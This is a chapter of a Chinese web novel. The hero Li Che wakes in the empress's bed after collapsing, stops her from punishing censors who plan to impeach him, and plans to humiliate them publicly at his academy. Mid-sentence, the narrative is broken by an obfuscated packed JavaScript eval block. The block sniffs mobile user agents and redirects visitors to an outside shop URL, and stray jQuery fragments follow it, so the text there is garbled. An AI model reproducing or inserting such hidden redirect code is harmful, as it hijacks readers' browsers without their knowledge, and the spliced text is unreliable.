第386章 只为你卸下的龙袍

作品:《我只想种田,女帝非要我打天下

    意识,如同一叶挣扎着浮出深海的孤舟,在无边的黑暗中缓缓上浮。


    首先恢复的,是嗅觉。


    一股清雅、冷冽,却又无比熟悉的龙涎香,如同最温柔的丝线,悄然钻入鼻腔,安抚着他那因过度透支而濒临崩溃的神经。


    紧接着,是触觉。


    身下,是柔软得不像话的丝绸被褥,那触感滑腻冰凉,仿佛躺在一片云端之上。


    李澈费力地睁开沉重的眼皮,一道模糊的、绣着五爪金龙的明黄色纱帐,在视野中渐渐清晰。


    他愣住了。


    这不是圣工王府的客房,更不是干心殿的偏殿。


    这是……龙榻。


    这个认知,如同一道温和的电流,瞬间流遍四肢百骸,让他那具如同散了架的身体,重新找回了一丝知觉。


    他偏过头,下一秒,心脏便被一只无形的手,狠狠地、却又无比温柔地攥住了。


    床沿边,一道绝美的身影静静地趴在那里,睡着了。


    她身上穿的不是那件象征着无上威严的黑色龙袍,而是一身素雅的月白色宫装,未施粉黛,三千青丝如瀑般随意地披散在肩头。


    那张总是清冷如霜、足以让百官不敢直视的绝美俏脸上,此刻写满了毫不掩饰的疲惫与憔悴。


    长长的睫毛上,甚至还挂着几颗晶莹的、尚未干透的泪珠,在窗外透入的微光下,闪烁着令人心碎的光芒。


    李澈只是轻轻动了一下手指,她便如同受惊的林鹿,猛地惊醒!


    那双总是如同古井般沉静的凤眸,在看清他醒来的瞬间,先是茫然,随即,被一股难以抑制的、如同火山喷发般的狂喜所取代!


    “你醒了!”


    她的声音,不再是君临天下的帝王,而是一个心有余悸的女人,带着一丝连她自己都未曾察觉的、浓重的哭腔。


    “你终于醒了!你知不知道……你快吓死我了!”她猛地扑了过来,不顾一切地将他紧紧抱住,那娇躯因后怕而剧烈地颤抖着。


    李澈能清晰地感受到她那急促的心跳,和滴落在自己颈间那滚烫的泪水。


    他心中最柔软的地方被狠狠触动,抬起那只依旧有些酸软的手,轻轻拍了拍她的后背,声音沙哑,却充满了歉意与温柔。


    “对不起,让你担心了。”


    “混蛋!你就是个混蛋!”萧青鸾将脸埋在他的颈窝里,闷声闷气地嗔怒道,那声音却软得没有半分杀伤力,“谁让你那么逞强的!你知不知道,太医说你再晚一刻,心脉就要衰竭了!我……”


    她再也说不下去,只是将他抱得更紧,仿佛要将他揉进自己的骨血里。


    李澈心中一暖,任由她发泄着所有的恐惧与担忧。许久,他才轻声安抚道:“我这不是没事了么。别哭了,再哭,明天早朝,眼睛肿得像桃子,你的臣子们怕是要以为我把你欺负了。”


    一句玩笑话,终于让萧青鸾“噗嗤”一声笑了出来。


    她松开手,却依旧不肯离去,只是用那双还带着水汽的凤眸,又气又怜地瞪着他。


    她亲自端来温水,用小勺一口一口地喂他,那动作,温柔得能将钢铁都化成绕指柔。


    就在这温馨私密的氛围中,一阵急促却又被刻意压抑的脚步声在殿外响起。


    贴身女官在门外低声禀报,神情充满了忧虑。


    得到允准后,女官快步入内,将一份刚刚汇总的密报呈了上来。


    “陛下,王爷,”她看了一眼床上那个面色苍白的年轻人,声音中满是担忧,“现在外面……外面的风言风语,已经传疯了。”


    密报上,详细描述了京城中“圣工王体弱误国”的谣言是如何在短短半日之内,愈演愈烈的。


    从最初的“演武场受辱晕厥”,已经演变成了“文弱书生强掌兵事,乃国之大祸”,甚至还有更恶毒的,说他“德不配位,必有灾殃”。


    “更要命的是,”女官的声音压得更低,“御史台的王大人、李大人等几位言官,已经串联完毕,准备在明日早朝,以‘圣工王体弱多病,不堪军国重任’为由,集体上书,**王爷!”


    “放肆!”


    萧青鸾凤目瞬间含煞,殿内的温度都仿佛骤降了好几度!


    她猛地一拍床沿,那股属于帝王的、尸山血海般的杀气,再也无法抑制地迸发出来!


    “一群不知死活的东西!朕刚刚清理了一批,他们就迫不及待地想下去陪葬吗?来人!传朕旨意,将御史台那几个逆贼……”


    “陛下,稍安勿躁。”


    就在萧青鸾即将下达雷霆指令时,一只温热的手,轻轻覆在了她那因愤怒而冰冷的手背上。


    躺在床上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134424|187587||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的李澈,笑了。


    那笑容很淡,却像一缕最和煦的春风,瞬间吹散了殿内所有的冰霜与杀气。


    他轻描淡写地阻止了女帝的雷霆手段,声音不大,却带着一股足以安抚一切风暴的力量。


    “他们说我体弱?说我德不配位?”他看着萧青鸾,眼中闪烁着洞悉人心的光芒,“说对了,但只说对了一半。”


    “就让他们说,”李澈的嘴角勾起一抹玩味的弧度,“说得声音越大越好,最好全天下都知道。这样,等我站起来的时候,他们才会看得更清楚。”


    他顿了顿,每一个字都像一颗落下的棋子,清晰而致命。


    “这一巴掌,打得才更响亮。”


    听完李澈将计就计,准备利用营造学堂第一课来“公开处刑”的计划后,萧青鸾眼中的杀意,尽数化为了全然的欣赏与宠溺。


    她重新握住李澈的手,那语气是从未有过的温柔,却又坚定无比。


    “好,朕都听你的。”


    “你只管安心布局,这天,塌不下来。”她看着他的眼睛,一字一顿地说道,“就算塌下来,朕也给你顶着。”


    这便是最强的后盾。


    主角的智谋与女帝的权势完美结合,形成了坚不可摧的力量。


    萧青鸾立刻传下旨意,不仅同意了李澈的“邀请”计划,还表示自己明日也将亲临营造学堂,为他“站台”。


    京城,某座府邸内,灯火昏暗。


    几名旧朝官员与保守派御史正在饮酒庆祝,气氛热烈。


    “李澈小儿,一介竖子,竟妄图染指兵权,如今身败名裂,实乃天意!”为首的御史王大人将一杯酒一饮而尽,脸上满是得意的狞笑。


    他们早已写好了**的奏章,只等明日朝会,便要给予李澈致命一击。


    对于即将到来的“邀请函”,他们一无所知。


    干心殿内,李澈靠在床头,精神好了许多。


    他对身旁的女官,下达了最后的指令。


    “去告诉林都尉,明日的课,照常进行。”


    他顿了顿,眼中闪过一丝冰冷的笑意。


    “另外,拟一份请柬,给御史台的王大人、李大人……凡是准备上书的,一个都别漏下。”


    “就说,圣工王身体抱恙,但为国育才之心不灭,特邀诸位大人莅临指导。”